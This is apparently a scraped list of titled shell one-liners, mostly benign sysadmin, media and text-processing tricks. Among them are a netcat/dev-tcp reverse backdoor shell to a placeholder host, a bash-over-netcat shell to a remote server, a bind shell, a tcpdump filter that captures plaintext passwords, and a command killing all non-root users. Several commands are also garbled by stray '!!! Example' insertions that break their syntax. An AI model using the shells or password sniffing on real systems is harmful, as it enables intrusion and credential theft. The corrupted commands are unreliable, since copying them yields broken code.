ifconfig en1 | awk '/inet / {print $2}' | mail -s "hello world" email@email.com
synchronicity
cal 09 1752
Terminal redirection
script /dev/null | tee /dev/pts/3
Use mtr to create a text file report
mtr --report --report-cycles 10 www.google.com > google_net_report.txt
Rot13 using the tr command
alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'"
Measures download speed on eth0
while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }'|cut -d : -f 2); echo "$(( Y-X )) bps"; done
Clean swap area after using a memory hogging application
swapoff -a ; swapon -a
loop over a set of items that contain spaces
ls | while read ITEM; do echo "$ITEM"; done
[re]verify a disc with very friendly output
dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5
Traceroute w/TCP to get through firewalls.
tcptraceroute www.google.com
Rotate a set of photos matching their EXIF data.
jhead -autorot *.jpg
Launch a command from a manpage
!date
hard disk information - Model/serial no.
hdparm -i[I] /dev/sda
Find distro name and/or version/release
cat /etc/*-release
Split File in parts
split -b 19m file Nameforpart
Speak the top 6 lines of your twitter timeline every 5 minutes.....
while [ 1 ]; do curl -s -u username:password http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' | head -n 6 |festival --tts; sleep 300;done
To get you started!
vimtutor
Exclude grep from your grepped output of ps (alias included in description)
ps aux | grep [h]ttpd
Alias for lazy tmux create/reattach
alias ltmux="if tmux has; then tmux attach; else tmux new; fi"
Show demo of toilet fonts
find /usr/share/figlet -name *.?lf -exec basename {} \; | sed -e "s/\..lf$//" | xargs -I{} toilet -f {} {}
Displaying system temperature
cat /proc/acpi/thermal_zone/THRM/temperature
Combine cssh and shell expansion to execute commands on a large cluster
cssh 192.168.125.{1..200}
Re-emerge all ebuilds with missing files (Gentoo Linux)
emerge -av1 `qlist --installed --nocolor | uniq | while read cp; do qlist --exact $cp | while read file; do test -e $file || { echo $cp; echo "$cp: missing $file (and maybe more)" 1>&2; break; }; done; done`
sudo for entire line (including pipes and redirects)
proceed_sudo () { sudor_command="`HISTTIMEFORMAT=\"\" history 1 | sed -r -e 's/^.*?sudor//' -e 's/\"/\\\"/g'`" ; sudo sh -c "$sudor_command"; }; alias sudor="proceed_sudo !!! Example ""
Print number of mb of free ram
free -m | awk '/buffer/ {print $4}'
Print number of mb of free ram
free -m | awk '/Mem/ {print $4}'
Connect to TCP port 5000, transfer data and close connexion.
echo data | nc -q 0 host 5000
Speaking alarm clock
sleep 8h && while [ 1 ] ; do date "+Good Morning. It is time to wake up. The time is %I %M %p" | espeak -v english -p 0 -s 150 -a 100 ; sleep 1m; done
Show numerical values for each of the 256 colors in ZSH
for code in {000..255}; do print -P -- "$code: %F{$code}Test%f"; done
Compare two files side-by-side
sdiff file1 file2
STAT Function showing ALL info, stat options, and descriptions
statt(){ C=c;stat --h|sed '/Th/,/NO/!d;/%/!d'|while read l;do p=${l/% */};[ $p == %Z ]&&C=fc&&echo ^FS:^;echo "`stat -$C $p \"$1\"` ^$p^${l#%* }";done|column -ts^; }
MySQL dump restore with progress bar and ETA
pv bigdump.sql.gz | gunzip | mysql
Check whether laptop is running on battery or cable
acpi -b
View advanced Sort options, Quick Reference Help Alias
alias sorth='sort --help|sed -n "/^ *-[^-]/s/^ *\(-[^ ]* -[^ ]*\) *\(.*\)/\1:\2/p"|column -ts":"'
Wait for an already launched program to stop before starting a new command.
wait $!
Create a temporary file
tempfile=$(/bin/mktemp)
Show a Package Version on Debian based distribution
apt-cache show pkgname | grep -i "version:"
Get current Xorg resolution via xrandr
xrandr | grep \* | cut -d' ' -f4
Get your X11 screen mode
xrandr | grep \*
reclaim your window titlebars (in ubuntu lucid)
gconftool -s -t string /apps/metacity/general/button_layout "menu:minimize,maximize,close"
list files in mtime order
ls -lt | more
creeate file named after actual date
touch file-$(date +%Y%m%d)
Start a SOCKS proxy to avoid a restrictive firewall
autossh -N -D localhost:1080 myhome.example.net -p 443
renames multiple files that match the pattern
rename 's/foo/bar/g' *
infile search and replace on N files (including backup of the files)
perl -pi.bk -e's/foo/bar/g' file1 file2 fileN
Create a square thumbnail or favicon using ImageMagick
convert file.png -background transparent -gravity Center -extent 1:1!!! Example "-scale 32 file-32px.png
Convert an image sequence into a video
ffmpeg -framerate 30 -pattern_type glob -i '*.jpg' -c:v libx264 -pix_fmt yuv420p out.mp4
Command to logout all the users in one command
sudo who | awk '!/root/{ cmd="/sbin/pkill -KILL -u " $1; system(cmd)}'
Rename all subtitles files with the same name of mp4 files in same folder
paste -d: <(ls -1 *.mp4) <(ls -1 *.srt) | while read line; do movie="${line%%:*}"; subtitle="${line##*:}"; mv "${subtitle}" "${movie%.*}.srt"; done
nmap get all active online ips from specific network
nmap -n -sn 192.168.1.0/24 -oG - | awk '/Up$/{print $2}'
SSH connection through host in the middle
ssh -J user@reachable_host user@unreacheable_host
!* Tells that you want all of the arguments from the previous command to be repeated in the current command
chmod 777 !*
Capture all plaintext passwords
sudo tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -l -A | egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user '
Show running services (using systemctl)
command systemctl --no-page --no-legend --plain -t service --state=running
Convert all JPEG images to MP4
cat *.jpg | ffmpeg -f image2pipe -r 1 -vcodec mjpeg -i - -vcodec libx264 out.mp4
Binary clock
perl -e 'for(;;sleep 1){printf"\r"."%.4b "x6,split"",`date +%H%M%S`}'
Bare Metal IRC Client
nik=clf$RANDOM;sr=irc.efnet.org;expect -c "set timeout -1;spawn nc $sr 6666;set send_human {.1 .2 1 .2 1};expect AUTH*\n ;send -h \"user $nik * * :$nik commandlinefu\nnick $nik\n\"; interact -o -re (PING.:)(.*\$) {send \"PONG :\$interact_out(2,string)\"}"
pulsed terminal clock
clear;while true;sleep 1;do for((a=1;a<=$(tput cols)/3;a++));do tput cup 0 $a;echo " " $(date);done;sleep 1;for((a;a>=1;a--));do tput cup 0 $a;echo $(date) " ";done;done
Submit command & rewrite orginal command
Encrypted chat with netcat and openssl (one-liner)
server$ while true; do read -n30 ui; echo $ui |openssl enc -aes-256-ctr -a -k PaSSw; done | nc -l -p 8877 | while read so; do decoded_so=`echo "$so"| openssl enc -d -a -aes-256-ctr -k PaSSw`; echo -e "Incoming: $decoded_so"; done
removes characters from cursor to the end of line
Ctrl+k
Symlink all files from a base directory to a target directory
ln -s /BASE/* /TARGET/
All what exists in dir B and not in dir A will be copied from dir B to new or existing dir C
rsync -v -r --size-only --compare-dest=../A/ B/ C/
find previously entered commands (requires configuring .inputrc)
Debug how files are being accessed by a process
inotifywait -m -r .
Convert JSON to YAML
python -c 'import sys, yaml, json; yaml.safe_dump(json.load(sys.stdin), sys.stdout, default_flow_style=False)' < file.json > file.yaml
Search google.com on your terminal
Q="YOURSEARCH"; GOOG_URL="http://www.google.com/search?q="; AGENT="Mozilla/4.0"; stream=$(curl -A "$AGENT" -skLm 10 "${GOOG_URL}\"${Q/\ /+}\"" | grep -oP '\/url\?q=.+?&' | sed 's/\/url?q=//;s/&//'); echo -e "${stream//\%/\x}"
Remove ( color / special / escape / ANSI ) codes, from text, with sed
sed "s,\x1B\[[0-9;]*[a-zA-Z],,g"
kills rapidly spawning processes that spawn faster than you can repeat the killall command
alias a=" killall rapidly_spawning_process"; a; a; a;
List your installed Chromium extensions (with url to each page)
for i in $(find ~/.config/chromium/*/Extensions -name 'manifest.json'); do n=$(grep -hIr name $i| cut -f4 -d '"'| sort);u="https://chrome.google.com/extensions/detail/";ue=$(basename $(dirname $(dirname $i))); echo -e "$n:\n$u$ue\n" ; done
Watch the progress of 'dd'
pkill -USR1 ^dd$
force a rescan on a host of scsi devices (useful for adding partitions to vmware on the fly)
echo "- - -" > /sys/class/scsi_host/host0/scan
Email someone if a web page has been updated.
cd /some/empty/folder/website_diffs/sitename && wget -N http://domain.com/ 2>&1 |grep -q "o newer" || printf "Sites web page appears to have updated.\n\nSuggest you check it out.\n\n"|mail -s "Sites page updated." david@email.com
Produces a list of when your domains expire
cat domainlist.txt | while read line; do echo -ne $line; whois $line | grep Expiration ; done | sed 's:Expiration Date::'
grep for tabs without using Ctrl-V trick
grep -P '\t' filename
Produce a pseudo random password with given length in base 64
date +%s | sha256sum | base64 | head -c <length>; echo
system beep off
setterm -blength 0
Converting video file (.flv, .avi etc.) to .3gp
ffmpeg -i input.avi -s qcif -vcodec h263 -r 20 -b 180k -acodec libfaac -ab 64k -ac 2 -ar 22050 output.3gp
Run TOP in Color, split 4 ways for x seconds - the ultimate ps command. Great for init scripts
G=$(stty -g);stty rows $((${LINES:-50}/2));top -n1; stty $G;unset G
Converts uppercase chars in a string to lowercase
echo StrinG | tr '[:upper:]' '[:lower:]'
Measure, explain and minimize a computer's electrical power consumption
sudo powertop
List all packages by installed size (Bytes) on rpm distros
rpm -q -a --qf '%10{SIZE}\t%{NAME}\n' | sort -k1,1n
Extract title from HTML files
sed -n 's/.*<title>\(.*\)<\/title>.*/\1/ip;T;q' file.html
Find all files currently open in Vim and/or gVim
vim -r 2>&1 | grep '\.sw.' -A 5 | grep 'still running' -B 5
Combining text files into one file
cat *.txt >output.txt
List all installed PERL modules by CPAN
perldoc perllocal
Determine whether a CPU has 64 bit capability or not
sudo dmidecode --type=processor | grep -i -A 1 charac
Change the homepage of Firefox
sed -i 's|\("browser.startup.homepage",\) "\(.*\)"|\1 "http://sliceoflinux.com"|' .mozilla/firefox/*.default/prefs.js
In place line numbering
{ rm -f file10 && nl > file10; } < file10
Find out what the day ends in
date +%A | tail -2c
check python syntax in vim
:!pylint -e %
Mysql uptime
mysql -e"SHOW STATUS LIKE '%uptime%'"|awk '/ptime/{ calc = $NF / 3600;print $(NF-1), calc"Hour" }'
High resolution video screen recording
gorecord() { if [ $!!! Example "!= 1 ]; then echo 'gorecord video.mp4' return fi ffmpeg -f x11grab -s <resolution> -r 25 -i :0.0 -sameq -vcodec mpeg4 "$1" }
Reverse Backdoor Command Shell using Netcat
exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
Emulating netcat -e (netcat-traditional or netcat-openbsd) with the gnu-netcat
mkfifo foo ; nc -lk 2600 0<foo | /bin/bash 1>foo
Find biggest 10 files in current and subdirectories and sort by file size
find . -type f -print0 | xargs -0 du -h | sort -hr | head -10
Get your external IP and Network Info
curl ifconfig.me/all
Quickly CD Out Of Directories Without 5+ Aliases
up() { local x='';for i in $(seq ${1:-1});do x="$x../"; done;cd $x; }
List all commands present on system
ls ${PATH//:/ }
A line across the entire width of the terminal
printf "%$(tput cols)s\n"|tr ' ' '='
Create the four oauth keys required for a Twitter stream feed
step1() { k1="Consumer key" ; k2="Consumer secret" ; k3="Access token" ; k4="Access token secret" ; once=$RANDOM ; ts=$(date +%s) ; hmac="$k2&$k4" ; id="19258798" ; }
Check if a machine is online
ping -c 1 -q MACHINE_IP_OR_NAME >/dev/null 2>&1 && echo ONLINE || echo OFFLINE
diff the outputs of two programs
diff <(exiftool img_1.jpg) <(exiftool img_2.jpg)
put an unpacked .deb package back together
dpkg-repack firefox
extract element of xml
xmlstarlet sel -t -c "/path/to/element" file.xml
Print all lines between two line numbers
awk 'NR >= 3 && NR <= 6' /path/to/file
Show network throughput
tcpdump -w - |pv -bert >/dev/null
Generate a random password 30 characters long
cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 32
Remove the first and the latest caracter of a string
var=:foobar:; echo ${var:1:-1}
Load file into RAM (cache) for faster accessing for repeated usage
cat <file> > /dev/null
Show IP Address in prompt → PS1 var
export PS1="[\u@`hostname -I` \W]$ "
log a command to console and to 2 files separately stdout and stderr
command > >(tee stdout.log) 2> >(tee stderr.log >&2)
Clear filesystem memory cache
sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
Join lines split with backslash at the end
sed -e '/\\$/{:0;N;s/\\\n//;t0}'
Convert text to lowercase
lower() { echo ${@,,}; }
find builtin in bash v4+
ls -l /etc/**/*killall
make image semi-transparent
convert input.png -alpha set -channel A -fx 0.5 output.png
execute a shell with netcat without -e
mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe
Print Asterisk phone logs
phonelogs() { grep "$1" /var/log/asterisk/cdr-csv/Master.csv | cut -d',' -f 2,3,11,12 --output-delimiter=" " | sed 's/"//g' | cut -d' ' -f 1,2,3,4,6 | column -t; }
Updated top ten memory utilizing processes (child/instance aggregation) now with percentages of total RAM
TR=`free|grep Mem:|awk '{print $2}'`;ps axo rss,comm,pid|awk -v tr=$TR '{proc_list[$2]+=$1;} END {for (proc in proc_list) {proc_pct=(proc_list[proc]/tr)*100; printf("%d\t%-16s\t%0.2f%\n",proc_list[proc],proc,proc_pct);}}'|sort -n |tail -n 10
Google URL shortener
curl -s 'http://ggl-shortener.appspot.com/?url='"$1" | sed -e 's/{"short_url":"//' -e 's/"}/\n/g'
Number of files in a SVN Repository
svn log -v --xml file:///path/to/rep | grep kind=\"file\"|wc -l
Currency Conversion
currency_convert() { wget -qO- "http://www.google.com/finance/converter?a=$1&from=$2&to=$3&hl=es" | sed '/res/!d;s/<[^>]*>//g'; }
Delete C style comments using vim
vim suite.js -c '%s!/\*\_.\{-}\*/!!g'
Convert files from DOS line endings to UNIX line endings
perl -pi -e 's/\r\n?/\n/g'
Terminal Escape Code Zen - Strace and Tput
termtrace(){( strace -s 1000 -e write tput $@ 2>&2 2>&1 ) | grep -o '"[^"]*"';}
validate json
curl -s -X POST http://www.jsonlint.com/ajax/validate -d json="`cat file.js`" -d reformat=no
converting horizontal line to vertical line
tr '\t' '\n' < inputfile
Merge files, joining each line in one line
paste file1 file2 fileN > merged
Pronounce an English word using Merriam-Webster.com
cmd=$(wget -qO- "http://www.m-w.com/dictionary/$(echo "$@"|tr '[A-Z]' '[a-z]')" | sed -rn "s#return au\('([^']+?)', '([^'])[^']*'\);.*#\nwget -qO- http://cougar.eb.com/soundc11/\2/\1 | aplay -q#; s/[^\n]*\n//p"); [ "$cmd" ] && eval "$cmd" || exit 1
Quickly build ulimit command from current values
echo "ulimit `ulimit -a|sed -e 's/^.*\([a-z]\))\(.*\)$/-\1\2/'|tr "\n" ' '`"
Play music from youtube without download
url="$my_url";file=$(youtube-dl -s -e $url);wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame - > "$file.mp3"
Get all mac address
ifconfig -a| grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'
Show the command line of a process that use a specific port (ubuntu)
cat /proc/$(lsof -ti:8888)/cmdline | tr "\0" " "
a find and replace within text-based files, for batch text replacement, not using perl
sed -i -e 's/SEARCH_STRING/REPLACE_STRING/g' `find . -iname 'FILENAME'`
Simple server which listens on a port and prints out received data
ncat -l portnumber
Speed up upgrades for a debian/ubuntu based system.
sudo aptitude update; sudo apt-get -y --print-uris upgrade | egrep -o -e "http://[^\']+" | sudo aria2c -c -d /var/cache/apt/archives -i -; sudo aptitude -y safe-upgrade
Pull Total Memory Usage In Virtual Environment
ps axo rss,comm | awk '{sum+=$1; print $1/1024, "MB - ", $2} END {print "\nTotal RAM Used: ", sum/1024, "MB\n"}'
List available upgrades from apt without upgrading the system
apt-get --just-print upgrade
View acceptable client certificate CA names asked for during SSL renegotiations
openssl s_client -connect www.example.com:443 -prexit
Remote screenshot
DISPLAY=":0.0"; export DISPLAY; import -window root gotya.png
rename all jpg files with a prefix and a counter
ls *.jpg | grep -n "" | sed 's,.*,0000&,' | sed 's,0*\(...\):\(.*\).jpg,mv "\2.jpg" "image-\1.jpg",' | sh
Reverse ssh
#INSIDE-host!!! Example "ssh -f -N -R 8888:localhost:22 user@somedomain.org !!! Example "#OUTSIDE-host#ssh user@localhost -p 8888#
output length of longest line
awk '(length > n) {n = length} END {print n}'
Save your terminal commands in bash history in real time
shopt -s histappend ; PROMPT_COMMAND="history -a;$PROMPT_COMMAND"
Connect via SSH to VirtualBox guest VM without knowing IP address
ssh vm-user@`VBoxManage guestproperty get "vm-name" "/VirtualBox/GuestInfo/Net/0/V4/IP" | awk '{ print $2 }'`
Make redirects to localhost via /etc/hosts more interesting
sudo socat TCP4-LISTEN:80,bind=127.0.0.1,fork EXEC:'echo "HTTP/1.1 503 Service Unavailable";'
Tricky implementation of two-dimensional array in Bash.
arr[i*100+j]="whatever"
Terrorist threat level text
echo "Terrorist threat level: `od -An -N1 -i /dev/random`"
Use wget to download one page and all it's requisites for offline viewing
wget -e robots=off -E -H -k -K -p http://<page>
Convert a string to "Title Case"
echo "this is a test" | sed 's/.*/\L&/; s/[a-z]*/\u&/g'
RTFM function
rtfm() { help $@ || info $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
back ssh from firewalled hosts
ssh -R 5497:127.0.0.1:22 -p 62220 user@public.ip
rename files according to file with colums of corresponding names
xargs -n 2 mv < file_with_colums_of_names
Monitor a file with tail with timestamps added
tail -f file | awk '{now=strftime("%F %T%z\t");sub(/^/, now);print}'
Check disk for bad sectors
badblocks -n -s -b 2048 /dev/sdX
run a command whenever a file is touched
ontouchdo(){ while :; do a=$(stat -c%Y "$1"); [ "$b" != "$a" ] && b="$a" && sh -c "$2"; sleep 1; done }
Create a file of a given size in linux
truncate -s 1M file
Extended man command
/usr/bin/man $* || w3m -dump http://google.com/search?q="$*"\&btnI | less
Show which process is blocking umount (Device or resource is busy)
lsof /folder
Show the UUID of a filesystem or partition
blkid /dev/sda7
run command on a group of nodes
mussh -h host1 host2 host3 -c uptime
Setting global redirection of STDERR to STDOUT in a script
exec 2>&1
Outgoing IP of server
dig +short @resolver1.opendns.com myip.opendns.com
Isolate file name from full path/find output
echo ${fullpath##*/}
Show numerical values for each of the 256 colors in bash
for i in {0..255}; do echo -e "\e[38;05;${i}m${i}"; done | column -c 80 -s ' '; echo -e "\e[m"
Use Kernighan & Ritchie coding style in C program
indent -kr hello.c
Delay execution until load average falls under 1.5
echo 'some command' | batch
gzip over ssh
ssh 10.0.0.4 "cat /tmp/backup.sql | gzip -c1" | gunzip -c > backup.sql
A function to find the newest file in a directory
newest () { find ${1:-\.} -type f |xargs ls -lrt ; }
Dump a web page
curl -s http://google.com | hexdump -C|less
Set a posix shell to echo all commands that it's about to execute, after all expansions have been done.
set -x
Concatenate video files to YouTube ready output
mencoder -audiofile input.mp3 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:240,harddup input1.avi input2.avi -o output.avi
Get Cookies from bash
a="www.commandlinefu.com";b="/index.php";for n in $(seq 1 7);do echo -en "GET $b HTTP/1.0\r\nHost: "$a"\r\n\r\n" |nc $a 80 2>&1 |grep Set-Cookie;done
run command on a group of nodes in parallel
seq 1 5 | parallel ssh {}.cluster.net uptime
Block all IP addresses and domains that have attempted brute force SSH login to computer
/usr/sbin/iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent -set
kde4 lock screen command
qdbus org.freedesktop.ScreenSaver /ScreenSaver Lock
Copy specific files recursively using the same tree organization.
rsync -vd --files-from=<(find . -name entries -print ) . ../target_directory
Extract all 7zip files in current directory taking filename spaces into account
for file in *.7z; do 7zr e "$file"; done
Perl one liner for epoch time conversion
perl -pe's/([\d.]+)/localtime $1/e;'
improve copy file over ssh showing progress
file='path to file'; tar -cf - "$file" | pv -s $(du -sb "$file" | awk '{print $1}') | gzip -c | ssh -c blowfish user@host tar -zxf - -C /opt/games
Command to Show a List of Special Characters for bash prompt (PS1)
alias PS1="man bash | sed -n '/ASCII bell/,/end a sequence/p'"
clone an USB stick using dd + see its process
dd if=/dev/sdc of=/dev/sdd conv=notrunc & while killall -USR1 dd; do sleep 5; done
How many Linux and Windows devices are on your network?
sudo nmap -F -O 192.168.1.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows | wc -l) Window(s) devices"
Watch the size of a directory using figlet
watch -n1 "du -hs /home/$USER | cut -f1 -d'/' | figlet -k"
Do a search-and-replace in a file after making a backup
sed -i.bak 's/old/new/g' file
Is it a terminal?
isatty(){ test -t $1; }
analyze traffic remotely over ssh w/ wireshark
mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo;
Block all IP addresses and domains that have attempted brute force SSH login to computer
(bzcat BZIP2_FILES && cat TEXT_FILES) | grep -E "Invalid user|PAM" | grep -o -E "from .+" | awk '{print $2}' | sort | uniq >> /etc/hosts.deny
Create package dependency graph
apt-cache dotty PKG-NAME | dot -Tpng | display
Display the list of all opened tabs from Firefox via a python one-liner and a shell hack to deal with python indentation.
python2 <<< $'import json\nf = open("sessionstore.js", "r")\njdata = json.loads(f.read())\nf.close()\nfor win in jdata.get("windows"):\n\tfor tab in win.get("tabs"):\n\t\ti = tab.get("index") - 1\n\t\tprint tab.get("entries")[i].get("url")'
Check reverse DNS
host {checkIp or hostname} [dns server]
Tar - Compress by excluding folders
tar -cvzf arch.tgz $(find /path/dir -not -type d)
backup with mysqldump a really big mysql database to a remote machine over ssh
mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot -pmysqlpassword dbname | ssh -C user@sshserver 'cd /path/to/backup/dir; cat > dbname.sql'
Tail -f at your own pace
tail -fs 1 somefile
Watch the progress of 'dd'
dd if=/dev/zero | pv | dd of=/dev/null
Smart cd.. cd to the file directory if you try to cd to a file
cd() { if [ -z "$1" ]; then command cd; else if [ -f "$1" ]; then command cd $(dirname "$1"); else command cd "$1"; fi; fi; }
Temporarily ignore known SSH hosts
ssh -o UserKnownHostsFile=/dev/null root@192.168.1.1
dd with progress bar
dd if=/dev/nst0 |pv|dd of=restored_file.tar
Copy file content to X clipboard
:%y *
Save the Top 2500 commands from commandlinefu to a single text file
curl http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2500:25] | grep -v _curl_ > comfu.txt
Simple addicting bash game.
count="1" ; while true ; do read next ; if [[ "$next" = "$last" ]] ; then count=$(($count+1)) ; echo "$count" ; else count="1" ; echo $count ; fi ; last="$next" ; done
Query Wikipedia via console over DNS
mwiki() { dig +short txt "$*".wp.dg.cx; }
Print a row of 50 hyphens
python -c 'print "-"*50'
Display a wave pattern
ruby -e "i=0;loop{puts ' '*(29*(Math.sin(i)/2+1))+'|'*(29*(Math.cos(i)/2+1)); i+=0.1}"
grep tab chars
grep "^V<TAB>" your_file
send a message to a windows machine in a popup
echo "message" | smbclient -M NAME_OF_THE_COMPUTER
Using mplayer to play the audio only but suppress the video
mplayer -novideo something.mpg
Using mplayer to play the audio only but suppress the video
mplayer -vo null something.mpg
create a temporary file in a command line call
any_script.sh < <(some command)
shell function to make gnu info act like man.
myinfo() { info --subnodes -o - $1 | less; }
scp with compression.
scp -C 10.0.0.4:/tmp/backup.sql /path/to/backup.sql
Get your commandlinefu points (upvotes - downvotes)
username=matthewbauer; curl -s http://www.commandlinefu.com/commands/by/$username/json | tr '{' '\n' | grep -Eo ',"votes":"[0-9\-]+","' | grep -Eo '[0-9\-]+' | tr '\n' '+' | sed 's/+$/\n/' | bc
Replace spaces in filenames with underscores
for f in *;do mv "$f" "${f// /_}";done
Insert the last argument of the previous command
!$
Remote control for Rhythmbox on an Ubuntu Media PC
alias rc='ssh ${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox-client --no-start'
Remove everything except that file
find . ! -name <FILENAME> -delete
Remove today's Debian installed packages
grep -e `date +%Y-%m-%d` /var/log/dpkg.log | awk '/install / {print $4}' | uniq | xargs apt-get -y remove
hanukkah colored bash prompt
export PS1="\e[0;34m[\u\e[0;34m@\h[\e[0;33m\w\e[0m\e[0m\e[0;34m]#\e[0m "
Find the ratio between ram usage and swap usage.
sysctl -a | grep vm.swappiness
List all TCP opened ports on localhost in LISTEN mode
netstat -nptl
list all opened ports on host
sudo lsof -P -i -n -sTCP:LISTEN
Optimal way of deleting huge numbers of files
find /path/to/dir/ -type f -exec rm {} +
recursive search and replace old with new string, inside files
$rpl -R oldstring newstring folder
Return threads count of a process
ps -o thcount -p <process id>
Mirror the NASA Astronomy Picture of the Day Archive
wget -t inf -k -r -l 3 -p -m http://apod.nasa.gov/apod/archivepix.html
Strace all signals processes based on a name ( The processes already started… ) with bash built-in
straceprocessname(){ x=( $(pgrep "$@") ); [[ ${x[@]} ]] || return 1; strace -vf ${x[@]/#/-p }; }
ruby one-liner to get the current week number
ruby -rdate -e 'p DateTime.now.cweek'
last.fm rss parser
egrep "<link>|<title>" recenttracks.rss | awk 'ORS=NR%2?" ":"\n"' | awk -F "</title>" '{print $2, $1}' | sed -e 's/\<link\>/\<li\>\<a href\=\"/' -e 's/\<\/link\>/\">/' -e 's/\<title\>//' -e 's/$/\<\/a\>\<\/li\>/g' -e '1,1d' -e 's/^[ \t]*//'
find read write traffic on disk since startup
iostat -m -d /dev/sda1
urldecoding
printf $(echo -n $1 | sed 's/\\/\\\\/g;s/\(%\)\([0-9a-fA-F][0-9a-fA-F]\)/\\x\2/g')
Sorted list of established destination connections
netstat | awk '/EST/{print $5}' | sort
DVD to YouTube ready watermarked MPEG-4 AVI file using mencoder (step 2)
mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -vf scale=320:-2,expand=:240:::1 -ffourcc xvid -o output.avi dvd.avi
Burn a directory of mp3s to an audio cd.
alias burnaudiocd='mkdir ./temp && for i in *.[Mm][Pp]3;do mpg123 -w "./temp/${i%%.*}.wav" "$i";done;cdrecord -pad ./temp/* && rm -r ./temp'
github push-ing behind draconian proxies!
git remote add origin git@SSH-HOST:<USER>/<REPOSITORY>.git
View the latest astronomy picture of the day from NASA.
apod(){ local x=http://antwrp.gsfc.nasa.gov/apod/;feh $x$(curl -s ${x}astropix.html|grep -Pom1 'image/\d+/.*\.\w+');}
convert wav files to flac
flac --best *.wav
Print stack trace of a core file without needing to enter gdb interactively
alias gdbbt="gdb -q -n -ex bt -batch"
Decode a MIME message
munpack file.txt
Burst a Single PDF Document into Single Pages and Report its Data to doc_data.txt
pdftk mydoc.pdf burst
geoip information
GeoipLookUp(){ curl -A "Mozilla/5.0" -s "http://www.geody.com/geoip.php?ip=$1" | grep "^IP.*$1" | html2text; }
List the CPU model name
grep "model name" /proc/cpuinfo
Get your external IP address with a random commandlinefu.com command
IFS=$'\n';cl=($(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^!!! Example "Get your external IP address$/{n;p}'));c=${cl[$(( $RANDOM % ${#cl[@]} ))]};eval $c;echo "Command used: $c"
generate random password
openssl rand -base64 6
Amazing real time picture of the sun in your wallpaper
curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fill stdin
bash screensaver off
setterm -powersave off -blank 0
Monitor a file's size
watch -n60 du /var/log/messages
Smart renaming
mmv 'banana_*_*.asc' 'banana_#2_#1.asc'
Port scan a range of hosts with Netcat.
for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; done
Show Directories in the PATH Which does NOT Exist
(IFS=:;for p in $PATH; do test -d $p || echo $p; done)
Backup files older than 1 day on /home/dir, gzip them, moving old file to a dated file.
find /home/dir -mtime +1 -print -exec gzip -9 {} \; -exec mv {}.gz {}_`date +%F`.gz \;
alias to close terminal with :q
alias ':q'='exit'
How to copy CD/DVD into hard disk (.iso)
dd if=/dev/cdrom of=whatever.iso
display an embeded help message from bash script header
[ "$1" == "--help" ] && { sed -n -e '/^!!! Example "Usage:/,/^$/ s/^!!! Example "\?//p' < $0; exit; }
Sort file greater than a specified size in human readeable format including their path and typed by color, running from current directory
find ./ -size +10M -type f -print0 | xargs -0 ls -Ssh1 --color
print file without duplicated lines using awk
awk '!a[$0]++' file
Get the 10 biggest files/folders for the current direcotry
du -sk * |sort -rn |head
Get your external IP address
curl -s 'http://checkip.dyndns.org' | sed 's/.*Current IP Address: \([0-9\.]*\).*/\1/g'
convert a web page into a png
touch $2;firefox -print $1 -printmode PNG -printfile $2
uncomment the lines where the word DEBUG is found
sed '/^#.*DEBUG.*/ s/^#//' $FILE
Find the dates your debian/ubuntu packages were installed.
ls /var/lib/dpkg/info/*.list -lht |less
this toggles mute on the Master channel of an alsa soundcard
amixer sset Master toggle
Submit data to a HTML form with POST method and save the response
curl -sd 'rid=value&submit=SUBMIT' <URL> > out.html
count how many times a string appears in a (source code) tree
$ grep -or string path/ | wc -l
Outputs files with ascii art in the intended form.
iconv -f437 -tutf8 asciiart.nfo
Search commandlinefu from the CLI
curl -sd q=Network http://www.commandlinefu.com/search/autocomplete |html2text -width 100
Compare a remote file with a local file
vimdiff <file> scp://[<user>@]<host>/<file>
Using netcat to copy files between servers
On target: "nc -l 4000 | tar xvf -" On source: "tar -cf - . | nc target_ip 4000"
Figure out your work output for the day
git diff --stat `git log --author="XXXXX" --since="12 hours ago" --pretty=oneline | tail -n1 | cut -c1-40` HEAD
Quick notepad
cat > list -
Remove CR LF from a text file
tr -d '\r\n' < input_file.txt > output_file.txt
grep -v with multiple patterns.
sed '/test/{/error\|critical\|warning/d}' somefile
StopWatch, simple text, hhss using Unix Time
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds)'
Compression formats Benchmark
